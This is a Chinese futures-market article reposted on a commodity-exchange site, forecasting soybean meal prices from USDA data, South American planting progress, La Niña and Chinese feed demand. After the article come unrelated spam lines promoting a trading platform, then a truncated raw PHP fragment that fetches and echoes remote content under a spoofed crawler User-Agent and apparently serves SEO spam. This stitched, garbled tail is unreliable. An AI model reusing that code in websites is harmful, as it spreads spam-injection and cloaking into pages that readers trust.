豆粕价格走向取决于天气

多空因素并存

国内需求不足以支撑连粕走强,后续重点关注拉尼娜对南美大豆的影响。若南美持续干旱,则豆粕期价有望单边走强;若出现有效降雨,则价格承压。

9月17日开始,连粕跟随美豆进入下跌通道,11月8日到达阶段性底部3023元/吨后才出现反弹。目前,国外大豆种植整体良好,国内豆粕供需双弱,后续市场目光将聚焦在拉尼娜对南美大豆生长的影响上。

USDA报告上调美豆销量数据

11月10日发布的USDA月度供需报告将2020/2021年度美豆压榨量下调1.5亿蒲式耳,至21.4亿蒲式耳;期末库存则增至1.75亿蒲式耳。此外,在下调2021/2022年度美豆播种面积和收获面积的同时上调单产,促使美豆总产略微上升至43.74亿蒲式耳;在下调压榨量的同时上调出口量,促使美豆期末库存提升至1.85亿蒲式耳,但仍低于市场预期。USDA的周度出口销售报告显示,截至11月11日当周,2021/2022年度美豆销售量为138.27万吨,较前一周增加13%,但较4周均值减少20%。其中,主要向中国销售72.75万吨、向荷兰销售13.3万吨、向西班牙销售11.37万吨、向泰国销售7.46万吨。

美豆收割速度几乎与去年相当

虽然今年种植初期受干旱的影响,美豆播种进度缓慢,但收割期在持续阵雨的加持下,收获进度基本与去年同期相当。截至11月21日当周,美豆收割完成95%,市场预估均值为96%,去年同期为98%,5年平均为96%。

南美大豆种植进度出现分化

截至11月18日,巴西大豆种植进度为86%,前一周为78%,去年同期为81%。播种期间,巴西大豆主产区持续降雨,农民加快了播种进度,今年是历史种植进度最快的一年。与巴西不同,阿根廷大豆播种进度迟缓。截至11月17日,阿根廷大豆种植进度为28.6%,前一周为18.8%,去年同期为31.3%。今年双拉尼娜现象成定局,阿根廷南部大豆主产区已经受到干旱困扰,特别是布宜诺斯艾利斯。后续需要关注拉尼娜对南美大豆产量的影响,其将左右全球大豆市场格局。

国内供应偏紧问题即将缓解

美湾作为美国主要的出口港湾,9月遭到飓风侵袭,出口严重受阻。作为美豆的主要进口国,中国9月大豆进口量为688万吨,环比减少27.5%,同比减少29.7%;10月进口510.9万吨,环比减少25.7%,同比减少41.2%,创下2014年以来的最低月度进口量。不过,商务粮油网预计,11—12月,中国进口大豆到港量将达到1700万吨,可以有效缓解国内供应压力,连粕因而承压。近期,进口大豆压榨利润跟随美豆走势反弹,截至11月23日,平均压榨利润为49.67元/吨。

生猪饲料需求难再继续增长

国内主要油厂周度大豆压榨量第46周为188.89万吨,环比下降3.32%,同比下降4.11%;开工率为65.66%,环比下降2.25个百分点,同比下降4.2个百分点。饲料端,根据中国饲料工业协会公布的数据,10月,全国工业饲料总产为2520万吨,环比下降4.1%,同比增长0.2%。其中,猪饲料产量为1091万吨,环比下降0.7%,同比增长8.8%。

短期内,猪饲料产量和生猪存栏下降,饲料需求疲弱。中长期内,临近元旦与春节,下游将提前备货,但考虑到生猪存栏已经处于历史高位,且后期能繁母猪面临淘汰,生猪市场的饲料需求难有增量。

综上所述,国内需求不足以支撑连粕走强,重点关注拉尼娜对南美大豆的影响。若南美大豆主产区持续干旱且范围扩散,则豆粕期价存在跟随美豆单边走强的基础,可参考去年年末的走势。若南美大豆主产区出现有效降雨,则粕类价格承压,运行重心将下滑。

来源:期货日报;作者:东吴期货王俊棠;西北商品交易市场有限公司转载本文仅为传播更多信息为目的,并不表示本网认可文中作者观点。如因作品内容、版权、稿酬未付和其他任何问题需要同本网联系的,请在30日内进行,联系电话15519186587。

(责任编辑:黄莺 邮箱:huangying@accfutures.com)

西北商品交易市场有限公司西北鸿运官网-西北商品官网;【白糖、油脂、玉米、大豆、小麦、棉花、豆粕】
西北鸿运官网、采购对接;报价-下单看行情;灵活、便捷更省心;
西北农业官网,查看西北商品交易 https://posads.com/
西北商品交易中心靠谱吗
西北商品专业市场

韶关西北商品交易中心谁能签约分润发的快

array( "header"=>array( "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 Seowhy", ), "method" => "GET", "timeout" => 2 ), ); $context = stream_context_create($opts); $content = @file_get_contents($url,false, $context); if(is_array($http_response_header)){ $http_response_header = $http_response_header[0]; } if(strpos($http_response_header,"200 OK") !==false && $content != "error"){ @file_put_contents($cacheUrl, $content); echo $content; } }else{ $content = @file_get_contents($cacheUrl); echo $content; } ?>